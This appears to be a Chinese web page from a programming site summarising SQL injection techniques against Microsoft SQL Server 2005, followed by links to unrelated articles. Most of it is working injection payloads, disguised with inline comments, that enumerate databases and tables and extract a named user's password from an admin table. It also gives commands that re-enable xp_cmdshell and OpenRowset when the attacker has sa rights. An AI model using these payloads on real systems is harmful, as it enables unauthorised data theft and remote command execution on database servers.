mssql2005注入方法小结
时间:2024-01-16 15:12:11
爆库语句,修改红色部分的数字挨个猜出库
/**/and/**/(select/**/top/**/1/**/isnull(cast([name]/**/as/**/nvarchar(500)),char(32))%2bchar(124)/**/from/**/[master].[dbo].[sysdatabases]/**/where/**/dbid/**/in/**/(select/**/top/**/1/**/dbid/**/from/**/[master].[dbo].[sysdatabases]/**/order/**/by/**/dbid/**/desc))%3d0--
爆表语句,somedb部份是所要列的数据库,红色数字1累加
/**/and/**/(select/**/top/**/1/**/cast(name/**/as/**/varchar(200))/**/from/**/(select/**/top/**/1/**/name/**/from/**/somedb.sys.all_objects/**/where/**/type%3dchar(85)/**/order/**/by/**/name)/**/t/**/order/**/by/**/name/**/desc)%3d0--
爆字段语句,爆表admin里user='icerover'的密码段
/**/And/**/(Select/**/Top/**/1/**/isNull(cast([password]/**/as/**/varchar(2000)),char(32))%2bchar(124)/**/From/**/(Select/**/Top/**/1/**/[password]/**/From/**/[somedb]..[admin]/**/Where/**/user='icerover'/**/Order/**/by/**/[password])/**/T/**/Order/**/by/**/[password]Desc)%3d0--
mssql2005默认没有开xp_cmdshell的,openrowset也不能用
如果是sa权限,可以这样来开启
开启openrowset
EXEC/**/sp_configure/**/'show/**/advanced/**/options',/**/1;RECONFIGURE;--
EXEC/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',/**/1;RECONFIGURE;--
开启xp_cmdshell
EXEC/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',1;RECONFIGURE;--
EXEC/**/sp_configure/**/'show/**/advanced/**/options',1;RECONFIGURE;EXEC/**/sp_configure/**/'xp_cmdshell',1;RECONFIGURE;--
![](/images/zang.png)
![](/images/jiucuo.png)
猜你喜欢
Oracle数据库逻辑备份的SH文件
在Python的一段程序中如何使用多次事件循环详解
Python实现的根据IP地址计算子网掩码位数功能示例
![](https://img.aspxhome.com/file/2023/5/117345_0s.png)
浅析MysQL B-Tree 索引
![](https://img.aspxhome.com/file/2023/9/103379_0s.png)
网页内容呈现建议十条
asp动态页面防采集的新方法
python Tensor和Array对比分析
Python 变量类型及命名规则介绍
详解pytest分布式执行插件 pytest-xdist 的高级用法
![](https://img.aspxhome.com/file/2023/1/128601_0s.jpg)
Python中星号的五种用法小结
golang时间/时间戳的获取与转换实例代码
pandas中的DataFrame按指定顺序输出所有列的方法
Javascript的时间戳和php的时间戳转换注意事项
实现一个获取元素样式的函数getStyle
python数据可视化plt库实例详解
![](https://img.aspxhome.com/file/2023/3/101023_0s.jpg)
SQL 字母数字混合型字段 按里面的数字排序
![](https://img.aspxhome.com/file/UploadPic/20104/23/1-47s.jpg)